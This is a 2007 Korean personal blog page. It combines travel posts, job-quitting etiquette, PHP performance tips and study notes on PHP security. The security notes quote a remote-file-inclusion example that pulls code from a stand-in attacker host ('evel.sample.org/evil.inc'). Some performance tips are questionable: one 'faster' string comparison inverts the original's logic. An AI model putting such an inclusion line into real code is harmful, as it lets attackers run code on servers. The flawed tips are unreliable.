'분류 전체보기'에 해당되는 글 1583건

  1. 2007.08.29 [20040818] 여름 휴가(무주,무안,보성,웅치관광농원,백련포등등)
  2. 2007.08.29 [200408]웅치관광 농원
  3. 2007.08.29 [200408]전남 보성 녹차밭
  4. 2007.08.29 [200408]무주리조트
  5. 2007.08.28 구글 코리아 입사 결정!! 3
  6. 2007.08.24 이직자가 지켜야할 10가지 필수 에티켓
  7. 2007.08.23 javascript programming conventions
  8. 2007.08.22 [PHP]tutorials.
  9. 2007.08.22 PHP Performance
  10. 2007.08.22 PHP 보안 (Essential PHP Security)

[20040818] 여름 휴가(무주,무안,보성,웅치관광농원,백련포등등)

Legacy 2007. 8. 29. 23:45
IMG_3053IMG_3052IMG_3051IMG_3046IMG_3045IMG_3044IMG_3043IMG_3042IMG_3041IMG_3035IMG_3029IMG_3028IMG_1499IMG_1498IMG_1486IMG_1485IMG_1484IMG_1483IMG_1482IMG_3081IMG_3080IMG_3079IMG_3078IMG_3075IMG_3074IMG_3072IMG_3071IMG_3069IMG_3068IMG_3066IMG_3062IMG_3061IMG_3060IMG_3059IMG_2532IMG_2531IMG_2527IMG_2526IMG_2525IMG_2524IMG_2523IMG_2771IMG_2768IMG_2767IMG_2766IMG_2765IMG_2764IMG_2763IMG_2762IMG_2753IMG_2751IMG_2750IMG_2749IMG_2748IMG_2747IMG_2746IMG_2745IMG_2743IMG_2742IMG_2741IMG_2740IMG_2736IMG_2735IMG_2734IMG_2733IMG_2731IMG_2730IMG_2729IMG_2728IMG_2727IMG_2726IMG_2725IMG_2724IMG_2723IMG_2722IMG_2721IMG_2720IMG_2719IMG_2718IMG_2715IMG_2714IMG_2705IMG_2703IMG_2702IMG_2699IMG_2698IMG_2697IMG_2696IMG_2695IMG_2694IMG_2690IMG_2688IMG_2687IMG_2682IMG_2681IMG_2680IMG_2679IMG_2678IMG_2677IMG_2676IMG_2675IMG_2674IMG_2673IMG_2672IMG_2670IMG_2669IMG_2668IMG_2666IMG_2665IMG_2664IMG_2663IMG_2662IMG_2661IMG_2660IMG_2659IMG_2658IMG_2657IMG_2656IMG_2655IMG_2653IMG_2652IMG_2651IMG_2648IMG_2647IMG_2646IMG_2645IMG_2644IMG_2643IMG_2642IMG_2641IMG_2640IMG_2639IMG_2638IMG_2637IMG_2636IMG_2631IMG_2627IMG_2626IMG_2617IMG_2604IMG_2603IMG_2602IMG_2601IMG_2599IMG_2598IMG_2596IMG_2595IMG_2594IMG_2589IMG_2588IMG_2586IMG_2583IMG_2582IMG_2578IMG_2574IMG_2573IMG_2572IMG_2571IMG_2570IMG_2569IMG_2568IMG_2566IMG_2565IMG_2564IMG_2556IMG_2552IMG_2546IMG_2545IMG_2544IMG_2540IMG_2539IMG_2538IMG_2537IMG_2801IMG_2800IMG_2799IMG_2798IMG_2792IMG_2791IMG_2790IMG_2787IMG_2783IMG_2782IMG_2780IMG_2779IMG_2778IMG_2777IMG_2773IMG_2772IMG_2771IMG_2770IMG_2769IMG_2768IMG_2767IMG_2766IMG_2765IMG_2764IMG_2763IMG_2757IMG_2755IMG_2754IMG_2753IMG_2752IMG_2750IMG_2748IMG_2747IMG_2744IMG_2743IMG_2742IMG_2741IMG_2739IMG_2738IMG_2737IMG_2733IMG_2732IMG_2731IMG_2730IMG_2729IMG_2728IMG_2727IMG_2725IMG_2724IMG_2723IMG_2722IMG_2721IMG_2720IMG_2719IMG_2718IMG_1650IMG_1649IMG_1648IMG_1647IMG_1645IMG_1644IMG_1643IMG_1642IMG_1641IMG_1640IMG_1639IMG_1634IMG_1633IMG_1631IMG_1630IMG_1627IMG_1626IMG_1625IMG_1624IMG_1623IMG_1619IMG_1618IMG_1617IMG_1616IMG_1615IMG_1614IMG_1613IMG_1612IMG_1611IMG_1610IMG_1609IMG_1606IMG_1604IMG_1603IMG_1602IMG_1601IMG_1600IMG_1597IMG_1596IMG_1595IMG_1594IMG_1593IMG_1592IMG_1590IMG_1589IMG_1588IMG_1583IMG_1582IMG_1581IMG_1580IMG_1579IMG_1578IMG_1577IMG_1576IMG_1572IMG_1571IMG_1570IMG_1569IMG_1568IMG_1566IMG_1565IMG_1564IMG_1561IMG_1560IMG_1558IMG_1557IMG_1556IMG_1555IMG_1554IMG_1552IMG_1551IMG_1550IMG_1549IMG_1546IMG_1545IMG_1544IMG_1543IMG_1542IMG_1541IMG_1538IMG_1532IMG_1531IMG_1518IMG_2762IMG_2756IMG_1653 


전남 무안 백련 축제에 갔었답니다.
역시 2004년 여름 휴가때 갔던거구요.
사람들 무지 많이들 왔더라구요.
뭐 그냥.. 가서 저는 열심히 사진 찍고 한바퀴 돌고 왔습니다만.. ^^*
백련축제보고 나오던 길에 항공기 전시관 같은데가 있어서 거기도 잠시 들렸다가 이동 했다는거..
시간 되시면.. 여긴 꼭 가보세요.. 정말 예뻐요..

전남무안관광 : http://tour.muan.go.kr/


이거 여름 휴가를 전라도 기행이였습니다.
무주에서 시작해서 보성까지.. 한바퀴를 쭈욱 돌고 왔지요..
운전하느라 힘들기도 했지만.. 그래도 좋던데요.. 한번쯤.. 해보세요.. ^^*
:

[200408]웅치관광 농원

Legacy 2007. 8. 29. 23:35
01234567891011121314151617181920212223242526272829303132333435363738394041


전라도 기행을 하면서 보성에서 하루 묵었던 곳인데요.
가격도 싸고 농원내 풍경도 좋고.. 보트도 탈수 있답니다.
나름 괜찮았다는거.. ^^* 강추
그리고 도로 중간에 샀던 무화과는 정말 맛있었다는거.. ^^*

웅치관광농원 : http://kr.gugi.yahoo.com/tour/browsetour.php?tcode=CPN0308&cpncode=CPN03021961&p=웅치관광농원
:

[200408]전남 보성 녹차밭

Legacy 2007. 8. 29. 23:25
01234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253

2004년 여름 휴가때 전라도 기행중 들렸던 보성 녹차밭 입니다.
가서 아마 말린 녹차잎을 사와서 먹었던 기억이 나내요.
역시 이곳도 드라마 촬영을 했던 곳이라서 사람들이 많이들 보이더라구요.
혹 가게 되면 한번쯤은 들려도 될만한 곳입니다. ^^*
:

[200408]무주리조트

Legacy 2007. 8. 29. 12:40

주차장에서 바라본...

첫날 도착했을때 비가 엄청 왔었답니다. 구름이 장난 아니죠..

곤도라 타고 정상으로..

아침에 주차장에서 산등성에 걸린 구름을 찍어 봤어요.





전날 비가 엄청 왔는데도 꽃들은 여전히 화사하내요..

곤도라 타고 함 올라가 볼까요..














정상에 매점..

안개 참.. 짙게도 끼었내요...

돌담 좋고...



한 여름 인데도 나무에는 푸른 잎도 새순도 없내요..









오호라.. 다람쥐..

다람쥐야.. 어딜 보고 있는 거니..??







아마 이 카페가 드라마에 나왔던 그 카페 맞을 거예요.. 드라마 제목이 여름 향기 였던가..ㅡㅡ^







카페 이층 천장에 보면.. 꽃들이 이쁘게 달려 있죠..



묵었던 호텔..



아침 뷔페 식당..





무조리조트 : http://www.mujuresort.com/
:

구글 코리아 입사 결정!!

ITWeb/스크랩 2007. 8. 28. 23:51
:

이직자가 지켜야할 10가지 필수 에티켓

Legacy 2007. 8. 24. 10:08
드디어 해방이다. 라고 생각하기 쉽다, 처음에는 그럴 것이다.
지긋지긋한 잔소리꾼 상사와 지루하던 업무를 떠나, 새로운 직장에서 새 동료들을 만날 생각을 하니 마음이 설레기도 할 것이다.

그러나, 이로서 전직장과의 모든 인연이 끝난다고 생각한다면 오산이다.
모든 것을 지우고 싶은가? 당신이 몇년동안 어렵게 이뤄온 모든 성과까지? 아닐 것이다. 그동안의 커리어를 다음 직장이나 그 이후로도 인정받고 싶다면, 당신은 아주 부드럽고 나이스하게 이직 과정을 밟을 필요가 있다. 불필요한 적을 만들지 말 것. 이것은 어떤 사회생활에서나 통하는 진리다.

떠나면서 "그동안 수고했다"는 인사를 듣기 위해 지켜야할 '이직 에티켓' 10가지를 소개한다.

1. 제일 먼저 당신의 직속 상사에게 알려라.
가장 친한 동료도, 각별히 예뻐해주신 이사님도 아니다. 당신의 이직 사실을 가장 먼저 알아야 할 사람은 바로 직속 상사. 아무리 그와 사이가 좋지 않더라도, 아무리 그가 당신을 무시해왔다 하더라도. 그는 가장 먼저 알 권리가 있는 사람임을 기억하자.  

2. 최소 2주의 기한을 두어야 한다.
회사가 당신의 빈 자리를 대체할 수단을 마련할 때까지 시간이 필요하다. 후임자에게 업무를 넘겨주는 과정은 1주일 정도로 넉넉하게 잡자.

3. 동료들에게 겸손하라.
새 직장이 얼마나 훌륭하고, 당신이 얼마나 지금보다 나은 대우를 받을 지에 대해 떠벌리지 마라. 관심있게 들을 지는 모르나, 뒤돌아서서 그들이 할 말은 딱 하나다. "재수없는 자식"

4. "떠나는 마당에..."로 시작되는 대화를 피하라.
회사의 잘못된 점, 동료의 단점 등을 지적하고 가는 똘똘이 스머프 같은 행동은 삼가하라. 마음 속으로는 이곳을 떠나게 되어 절이라도 하고 싶을 만큼 기쁘다하더라도, 굳이 이를 겉으로 드러낼 필요는 없다.

5. 마지막 순간까지 최선을 다하라.
 대충 짐을 정리하고, 인사만 하고 훌쩍 떠날 생각은 마라. 마지막 출근날까지 사무실을 지켜라. 떠나는 순간까지 당신이 맡은 임무는 모두 완료하라. 뒷처리에 대한 평판은 다음 직장까지 당신의 뒤를 따라 갈 것이다.

6. 동료들에게 예의를 갖추라.
특별할 것 없다. 마지막날까지 동료들을 똑같이 대할 것. 당신이 업무를 미루고 가면 동료들이 고생하기 마련이다. 퇴직하는 날까지 그들과 함께 일하라. 첫인상만큼 마지막 인상도 중요하다.

7. 근무자 수칙을 다시 확인하라.
입사 때 받은 직원용 핸드북을 다시 꺼내 읽어보라. 휴가나 복지 조건 등 누려야 할 권리 중 빠진 것은 없었는지 꼼꼼히 확인할 것.

8. 동료들이 새 직장으로 전화할 상황을 만들지 말라.
담당 업무별로 파일을 만들어 정리해 놓고 떠나라. 후임자나 동료들이 당신의 업무를 대신하는데 불편함이 없게 만들라는 것. 이는 그들을 위한 것만이 아니다. 새 직장에서 새 업무로 바쁜 당신에게 계속해서 전 직장의 전화가 걸려오는 것은 다른 누구의 책임도 아니다. 바로 당신의 책임이다.

9. 당신의 것이 아닌 소지품은 그대로 남겨두라.
당신이 매일 사용했던 물건이라도 회사에 속한 비품은 남겨두고 가라. 티가 나지 않겠지 하는 마음으로 가져간다면, 분명 누군가는 없어진 물품을 알아챌 것이다.

10. 떠나는 이유를 말하는 데 조심하라.
많은 사람들이 물을 것이다. 당신이 이직하는 진짜 이유를. 회사는 비전을 제시하지 못하고, 상사들은 멍청하고 동료들은 짜증이 난다고 솔직하게 대답할 필요는 전혀 없다. 개인적인 이유에서, 다른 커리어를 쌓기 위해 떠난다고 말하는 편이 현명하다. 이는 개인적으로 가장 친했던 동료에게도 마찬가지다.

ref. http://kr.blog.yahoo.com/eg_blog/2887.html?p=1&pm=l&tc=23&tt=1187748760
ref. http://health.yahoo.com/experts/capessa/2247/the-right-way-to-quit-your-job
:

javascript programming conventions

ITWeb/개발일반 2007. 8. 23. 15:42
javascript programming conventions
http://dojotoolkit.org/developer/StyleGuide

최근에 Javascript for web 2.0 이라는 책을 보고 있는데 이 책에 소개된 최근 javascript coding style 에 대한 좋은 내용이 있길래 북마크 해 봅니다.
:

[PHP]tutorials.

ITWeb/개발일반 2007. 8. 22. 15:18
http://www.phpro.org/tutorials/?route=tutorials

정리가 깔끔하게 되어 있는 사이트 입니다.
이미 다 아는 사이트면 패스 ~~

http://www.php.net <-- 여긴 php 개발자면 기본이죠 ^^*
:

PHP Performance

ITWeb/개발일반 2007. 8. 22. 14:46

Reference Blog

PHP Performance

  • 디렉토리나 파일은 가능한 짧게 유지 하라.
  • FollowSymLinks 옵션을 사용하라.
  • logging 은 한파일에 하고 분석시 logging 을 중지 하라.
  • KeepAliveTimeout 은 가능한 낮게 잡아라.
  • static / dynamic request 를 구분하라.
  • output buffering 은 브라우저의 rendering 을 빠르게 해준다.
    • ob_start()
    • output_buffering=on
    • SendBufferSize = PageSize ( in apache )
    • memory size 가 작은 시스템에서는 사용하지 말라.
for($i = 0; $i < 1000; $i++) { echo $i; }

This method is much slower than something like this:

ob_start(); for($i = 0; $i <1000; $i++) { echo $i; } ob_end_flush();

    • 1.36509799957 without ob_start()
    • .248747825623 with ob_start()
  • bandwidth optimization
    • server 자원을 줄인다.
    • client page load 를 빠르게 한다.
    • network io 를 줄인다.
  • compression 은 cpu 의 3-5% 의 load 를 줄인다.
    • apache 1 : mod_gzip
    • apache 2 : mod_deflate
  • Tuning PHP Configuration
    • register_globals = Off **
    • magic_quotes_gpc = Off
    • expose_php = Off
    • register_argc_argv = Off
    • always_populate_raw_post_data = Off **
    • session.use_trans_sid = Off **
    • session.auto_start = Off **
    • session.gc_divisor = 1000 or 10000
    • output_buffering = 4096
  • Tuning PHP File Access
    • Inefficient Approach : < ? php include "file.php"; ? >
    • Performance Friendly Approach : < ? php include "/path/to/file.php"; or include "./file.php"; ? >
  • Regular Expression
    • Slow
      • if (preg_match("!^foo_!i", "FoO_")) { }
      • if (preg_match("![a8f9]!", "sometext")) { }
    • Faster
      • if (strncasecmp("foo_", "FoO_", 4)) { }
      • if (strpbrk("a8f9", "sometext")) { }
  • Optimizing str_replace()
    • replacement 할 필요가 없는 것들을 제거 하고 사용할것
      • 바꿔야 할 문자열과 대치해야할 문자열 중 필요 없는건 제거 할것
  • strtr() vs str_replace()
    • str_replace 가 strtr 보다 10배 정도 빠르다.
  • fopen() vs file_get_contents()
    • file_get_contents() 가 훨씬 간단하고 빠르다.
  • 쓰면 유용한 함수들
    • file_put_contents()
      • Append data to files or create new files in one shot.
    • microtime() and gettimeofday()
      • Return floats when passed TRUE as a 1st argument.
    • mkdir()
      • Can create directory trees, when 2nd arg. is TRUE.
    • glob()
      • Fetch all array of files/directories in one shot.
    • convert_uuencode,convert_uudecode
      • Fast UU encoding/decoding mechanism.
    • http_build_query()
      • Build GET/POST query based on associated array.
    • substr_compare()
      • strcmp/strncasecmp/etc… from an offset.
    • array_walk_recursive()
      • Recursively iterate through an array.
    • convert_uuencode,convert_uudecode
      • Fast UU encoding/decoding mechanism.
    • http_build_query()
      • Build GET/POST query based on associated array.
    • substr_compare()
      • strcmp/strncasecmp/etc… from an offset.
    • array_walk_recursive()
      • Recursively iterate through an array.
  • Multi-dimensioal Array trick
    • slow 2 extra hash lookups per access
      • $a['b']['c'] = array();
      • for($i = 0; $i < 5; $i++) $a['b']['c'][$i] = $i;
    • much faster reference based approach
      • $ref =& $a['b']['c'];
      • for($i = 0; $i < 5; $i++) $ref[$i] = $i;
  • Static 선언은 50-75% 의 성능 향상을 준다.
  • 불필요한 wrapper 를 제거 한다.
  • The simpler the code, the faster it runs, it really is that simple.
  • string concatenation
    • echo ''; 보다 echo ''; 가 일반적이다.

  • include nested-looping 사용에 대한 주의
main
require_once
  php_self
require_once (2x)
  session_is_registered
  require_once
require_once
  require_once (3x)
    require_once (2x)
  require_once
    require_once
      require_once
        require_once
          is_array
          use_plugin
            file_exists
            include_once
            function_exists
            ... etc
As you can see, a require_once was performed and inside that a php_self was executed. Then another require_once executed session_is_registered, followed by another require_once and so on. Basically, the function call tree is like a little window into the Zend Engine, allowing you to watch the sequence of events that take place when your Web application is run.

If you do much object-oriented development, you may find that you rapidly lose track of what's actually going on inside some classes and methods. It's tempting to think of classes as a black box, because that's how we're taught to use them. But, when optimizing a complex Web application, you need to know what's actually going on inside each one, or you may have performance bottlenecks you do not even notice.

  • Avoid repeated function calls
    • for ( $i=0; $i<count($aArray); $i++ ) {} : bad
    • $nCnt = count($aArray); for ( $i=0; $i<$nCnt; $i++ ) {} : good
  • string concatenation
    • sprintf 보다 plain string concatenation 이 두배 정도 빠르다.
  • print() 대신 echo 를 사용 하라.
  • string 표현은 signle quotes 를 사용 하라.
  • Reduces Number Of System Calls (Optimizes PHP<->OS Communication)


:

PHP 보안 (Essential PHP Security)

ITWeb/개발일반 2007. 8. 22. 14:44

1. 소개

  • 단순한 것이 아름답다
    • 코딩을 할 때 복잡하게 하게 되면 실수를 하게 되고 이런 부분에서 보안 취약점이 드러난다.
    • ?:; 이것 보다 if 문을 사용하는것이 이런 실수를 더 줄일 수 있다.
  • 명명 규칙
    • 엄격한 명명규칙을 사용하면 코드 전반에서 사용되는 모든 데이터의 출처를 구별하는데 유용하다.
    • 적극 권장
  • 입력 필터링
    • 입력을 구분하는 단계
    • 입력을 필터링 하는 단계
    • 필터링된 데이터와 오염된 데이터를 구별하는 단계
    • 데이터베이스 서버나 RSS 피드 같은 것들도 입력이 될 수 있다.
    • 일반적으로 세션 데이터 저장소나 데이터베이스의 데이터를 입력으로 간주하는 것이 보다 안전하며, 중요한 PHP 응용프로그램에 대해서는 이런 관점을 추천한다.
    • 필터링에 대해서는 사용자가 필터링 규칙을 따라 오도록 해야 한다.
    • 유효하지 않은 데이터를 수정하려는 행위가 오류를 포함할 가능성이 높고, 잘못된 데이터를 통과시킬 수 있다.
      • 검사는 수정보다 훨씬 안전한 대안이 될 수 있다.
    • 필터링 된 데이터는 다른 변수에 재할당 한다.
      • $aFiltered = array();
      • $sEmail = $_POST['email'];
      • $sEmail = getVerifiedEmail($sEmail); // filtering
      • $aFiltered['email'] = $sEmail;
  • 출력 이스케이프
    • 출력을 구분하는 단계
    • 출력을 이스케이프하는 단계
      • 심층 방버에 충실하기 위한 지침이다.
      • htmlentities()
      • mysql_real_escape_string() (addslashes())
    • 이스케이프된 데이터와 그렇지 않은 데이터를 구분하는 단계

2. 폼과 URL

  • 크로스 사이트 스크립팅(XSS, cross-site scripting) 및 크로스 사이트 리퀘스트 위조(CSRF, cross-site request forgeries) 에 대해 살펴 보고 폼과 HTTP 요청을 직접 조작하는 스푸프(spoof)에 대해서 살펴 볼 것이다.
  • 폼과 데이터
    • 필터링된 데이터
    • 오염된 데이터
    • 데이터를 바꿀수 없게 하려면 변수 대신 상수를 사용해야 한다.
      • 재정의하려는 시도는 경고를 보여 주지만 값이 변경되지 않는다.
    • GET, POST, HTTP 모두 의심해야 한다.
  • URL 공격
    • GET 전송방식이 보다 많은 데이터를 노출하기 때문에 보다 자주 공격 대상이 된다.
  • 파일 업로드 공격
    • 클라이언트측과 서버측에서도 제한을 따르도록 해야 한다.
    • upload_max_filesize 와 post_max_size 로 제한을 줄 수 있다.
    • is_uploaded_file() 과 move_uploaded_file() 함수를 이용해서 파일을 검사한다.
  • 크로스 사이트 스크립팅
    • XSS (Cross-Site Scription)
    • 클라이언트에 데이터를 보낼때는 이스케이프하기 위해 htmlentities() 를 사용해야 한다.
    • http://ha.ckers.org/xss.html
  • 크로스 사이트 리퀘스트 위조
    • CSRF (Cross-Site Request Forgery)
    • $_REQUEST 를 사용하는것을 권장하지 않는다.
    • html 폼에서 GET 대신에 POST를 사용하고 폼 처리 로직에서는 $_REQUEST 대신 $_POST를 사용한다.
    • 중요한 처리에 대해서는 사용자가 요청한 것이 맞는지 확인을 요청한다.
    • NOTE : 처리를 수행하는 모든 폼은 POST 요청방식을 사용해야 하며 RFC 2616의 9.11 절을 보면 이를 다음과 같이 기술하고 있다. "특히, GET과 HEAD 요청방식은 정보 질의 이외의 처리에 대해서는 사용하지 않아야 한다는 관례가 정착되어 있다. GET 과 HEAD 요청방식은 '안전한' 것으로 간주 되어야 한다. GET 과 HEAD 요청방식을 안정한 것으로 간주하면 사용자 에이전트는 POST, PUT, DELETE와 같은 요청방식들을 특별한 방식으로 구분할 수 있으면 사용자는 안전하지 않은 동작이 요청 되고 있다는 사질을 인지할 수 있게 된다"
    • 폼 제출시 한 사용자에게만 유효한 토큰을 생성 하여 유효성을 검사한다.
      • 토큰의 유효 기간도 설정을 하여 공격에 대비를 할 수 있다.
      • 공격자는 한 명의 사용자에게 제한할 수 있다.
    • 그렇다고 POST 방식만 사용하려 해서는 안 된다.
  • 폼 제출 스푸핑
    • 가짜 폼을 조작해서 요청을 한다.
    • 레퍼러를 사용해서 폼이 있는 URL 이 유효 한지 검사를 할 수 있으나 자제 하기 바란다.
  • HTTP 요청 스푸핑
    • 공격자는 HTTP 요청을 조작하여 완전하게 제어할 수 있다.
    • telnet 을 이용해서 공격 가능함.

3. 데이터베이스와 SQL

  • 데이터베이스에서 가져오는 모든 데이터를 반드시 필터링해야 하며 이스케이프해야 한다.
  • 흔히 저지르는 실수는 SELECT 쿼리도 데이터베이스로 보내는 데이터라는 것을 잊어 버리는 것이다.
  • 쿼리 자체도 웹 응용프로그램에서 데이터베이스로 보내는 출력이라는 것을 잊지 말아야 한다.
  • 액세스 인증 정보 유출
    • 웹서버 루트 안쪽에 인클루드 파일들을 저장하는 것은 위험을 자초한 셈이다.
    • 웹서버(아파치)에서 .inc 파일에 대한 요청을 거부 하도록 설정할 수 있다.
      • < Files ~ "\.inc$" >
      • Order allow, deny
      • Deny from all
      • < /Files >
  • SQL 삽입 공격
    • 취약점은 입력하는 데이터를 필터링하지 못하는 것과 데이터베이스에 보내는 데이터를 이스케이프하지 못하는 것 이다.
    • 2004년 8월에 MD5에서 일부 해시가 충돌 한는 문제가 언급되었다.
    • MD5 암호화 알고리즘은 이미 완전히 깨졌다.
    • MYSQL 사용자라면 mysql_real_escape_string() 함수만 사용하면 된다.
      • 만약 제공하지 않는다면 addSlashes() 를 사용할 수 있다.
    • 바운드 매개변수를 사용하면 SQL 삽입 공격에 대해 가장 강력한 보호 수단을 갖춘 것이다.

4. 세션과 쿠키

  • 쿠키 홈치기
    • 쿠키 사용과 관련된 위험은 공격자가 사용자 쿠키를 훔칠 수 있다는 점이다.
    • 예를 들어, 세션ID를 쿠키에 저장한다면 쿠키 노출에 의해 세션 하이재킹까지 가능하기 때문에 심각한 위험이 될수 있다.
  • 세션 데이터 노출
    • session_set_save_handler() 를 사용해서 자신만의 세션 저장소를 작성하고, 세션 데이터를 저장할 때 암호화하고 가져올 때 해독하는 함수를 작성하는 것으로 쉽게 구현할 수 있다.
  • 세션 고정
    • 공격자는 유효한 세션ID를 얻기 위해 주로 세 가지 방법을 사용한다.
      • 예측, 캡쳐, 고정
    • SSL 을 사용하고, 브라우저를 최신의 버전으로 유지하는 것으로 낮출 수 있다.
  • 세션 하이재킹
    • 요청들 속에서 일관성을 인식하고 일관되지 않은 행위에 대해서 의심스러운 것으로 다룬다. 하지만 proxy 를 통해서 위조 될수 도 있다.
    • 보다 좋은 방법은 신분 확인의 두번째 형태로도 볼 수 있는 것으로 URL에 토큰을 전달하는 것이다.

5. 인클루드

  • 모든 개발자들은 모듈 형태의 디자인의 가치를 이해하고 있어야 한다.
  • 소스 코드 유출
    • 인클루드 확장자를 .inc 로 사용하는 경우
    • 웹 서버 루트에 인클루드를 저장한 경우
    • 아파치에서 .inc 파일에 대한 리소스 타입을 지정하지 않은 경우
    • 아파치의 DefaultType? 설정이 text/plain 인 경우
    • URL 을 통해서 인클루드에 접근 할 수 있고 사용자 브라우저에 소스 코드가 표시될 수 있다.
    • 모든 인클루드를 웹 서버 루트 바깥에 저장하는 것이 최선의 방법이다.
    • 인클루드의 확장자를 .php 로 하는것, .inc 리소스에 대한 요청을 거부 하도록 아파치를 설정하는 방법 등이 있다.
  • 백도어 URL
    • URL을 통한 직접 액세스를 의도하지 않았는데 URL을 통해서 직접 리소스에 액세스할 수 있는 것을 말한다.
  • 파일 이름 조작
    • 동적 인클루드를 사용해서 페이지의 동적인 부분을 캐시하는 것은 장점이 있지만 한편으로 공격자에게 어떤 캐시된 파일을 표시할지 선택할 수 있는 완벽한 기회를 제공하는 것이기도 하다.
    • 동적 인클루드를 사용할 때 결코 오염된 데이터를 사용해서는 안 된다는 것이다.
  • 코드 삽입 공격
    • allow_url_fopen 지시문의 사용은 돌려 주는 소스가 PHP 코드라고 상상해 보면, PHP 코드는 해석되고 실행될 수 있다.
    • include 'http://evel.sample.org/evil.inc'

6. 파일과 명령

  • 파일 시스템 트래버스
    • 오염된 데이터를 파일 이름의 일부로 사용할 때 취약점이 발생한다.
    • basename() 함수는 문자열에 원하지 않는 경로 정보가 포함되었는지 조사하는데 유용한 함수다.
  • 원격 파일 위험
    • PHP 에서 allow_url_fopen 설정이 있으며 기본 값으로 설정되어 있다. 이 옵션이 설정되어 있으면 PHP에서는 다양한 리소스를 마치 로컬 파일처럼 참조할 수 있다. 이런 경우 공격자가 임의의 코드를 실행하는 것이 가능하기 때문에 PHP 응용프로그램이 가질 수 있는 가장 심각한 취약점으로 간주 된다.
    • 항상 입력을 필터링 하고 파일 이름을 지정할 때는 필터링된 데이터만 사용해야 한다.
  • 명령 삽입 공격
    • 가능 하면 쉘 명령의 사용을 피할 것을 권한다. 쉘 명령을 사용해야 한다면 실행할 문자열을 구성하기 위해서 필터링된 데이터만 사용해야 하며 항상 실행 결과를 이스케이프해야 한다.

7. 인증과 권한 부여

  • 무차별 공격
    • 모든 가능성을 검토하는 공격을 말한다.
    • 인증 시도를 제한 하거나 실패 횟수를 제한하는 것은 일반적으로 상당히 효과적인 보호 수단이지만 정상적인 사용자에게 불이익을 주지 않고는 공격자를 식별하고, 막을 수 없다는 딜레마가 존재한다.
    • 무차별 공격이 통하지 않게 하기 위해 간단한 시간 지연을 사용할 수 있다.
    • 로그인을 실패한 사용자가 15츠 이내에 시도하려고 하면 로그인 정보가 맞더라도 인증이 실패되는 것으로 출력한다.
    • 인증 실패의 결과 화면은 항상 같아야 한다.
  • 패스워드 스니핑
    • POST 방식의 SSL 사용을 권장한다.
  • 리플레이 공격
    • 정상적인 사용자가 액세스권한이나 특별한 권한을 얻기 위해 전송한 데이터를 공격자가 재전송하는 종류의 모든 공격을 뜻한다.
  • 로그인 정보 기억
    • 쿠키에 저장되는 정보는 인증에 사용될 수 있는 시간대가 제한되어야 한다.
    • 쿠키는 1주일 또는 그 이하의 기간 안에 만료 되어야 한다.
    • 쿠키는 오직 한 번의 인증에 대해서만 유효해야 한다.
    • 일주일 또는 그 이하의 기간 안의 만료는 서버에서 강제 수행되어야 한다.

8. 공유 호스팅

  • 소스 코드 유출
    • 웹 서버 루트 바깥에 저장된 db.inc 파일이 있다고 하자.
    • 이 문제에 대한 가장 좋은 해결책은 root만 읽을 수 있는 파일에 서버 환경 변수로 설정하여 액세스 하는 것이다.
    • chmod 600 db.conf
    • phpinfo() 같은 함수의 실행 결과를 공개적으로 액세스할 수 없게 해야 한다.
  • 세션 데이터 유출
    • 가장 좋은 해결책은 사용자 이름과 비밀번호로 보호되는 데이터베이스에 세션 데이트를 저장하는 것이다.
  • 세션 삽입 공격
    • 이 공격 유형은 웹 서버가 세션 데이터 저장소에 대해 읽기 권한 뿐만 아니라 쓰기 권한도 있다는 사실을 이용한 것이다.
    • 가장 좋은 해결책은 데이터베이스에 세션 데이터를 저장하는 것이다.
  • 파일 시스템 브라우징
  • 안전 모드
    • PHP 의 안전모드는 장벽을 높이는 역할을 하기 때문에 심층 방버 전략으로는 고려해볼 만하다.



: